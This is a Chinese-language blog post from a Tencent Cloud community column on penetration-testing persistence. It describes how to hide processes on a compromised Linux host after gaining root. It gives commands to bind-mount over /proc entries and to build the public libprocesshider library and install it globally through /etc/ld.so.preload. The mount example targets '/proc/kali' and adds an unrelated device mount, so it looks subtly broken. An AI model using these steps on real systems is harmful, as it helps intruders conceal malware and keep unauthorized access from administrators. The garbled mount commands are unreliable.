首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >渗透测试之Linux进程隐藏

渗透测试之Linux进程隐藏

作者头像
逍遥子大表哥
发布2025-07-28 17:46:46
发布2025-07-28 17:46:46
9360
举报
文章被收录于专栏:kali blogkali blog

Linux服务器上获取root用户权限后,可以通过挂载覆盖/proc/pid目录来隐藏进程,使其在ps和top命令的输出结果中消失。同时,可以利用LD_PRELOAD环境变量劫持系统函数,通过自定义动态链接库来控制不显示指定进程名,从而隐藏进程的存在。

在渗透测试中,权限维持是很重要的环节。拿下目标后,无论是搜集信息,还是作为跳板,都需要长久的获取这台机器的权限。这时候,我们需要考虑Shell的“持久战”!

挂载覆盖/proc/pid 目录

我们可以 利用 mount -bind 将另外一个目录挂载覆盖至 /proc/目录下,指定进程 PID 的目录。如果将进程 PID 的目录信息覆盖,则原来的进程信息会从 ps 的输出结果消失。具体命令如下:

代码语言:javascript
复制
mount -o bind /root/hid /proc/kali
mount /dev/sda1 /proc/kali

挂载成功后,之前运行的进程也消失了。

LD_PRELOAD劫持系统函数

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。

接下来,我们编译项目

代码语言:javascript
复制
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider
make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

完成后,会生成 libprocesshider.so 文件

代码语言:javascript
复制
# 移动到库
mv libprocesshider.so /usr/local/lib/
# 写入预加载库文件
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 挂载覆盖/proc/pid 目录
  • LD_PRELOAD劫持系统函数
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档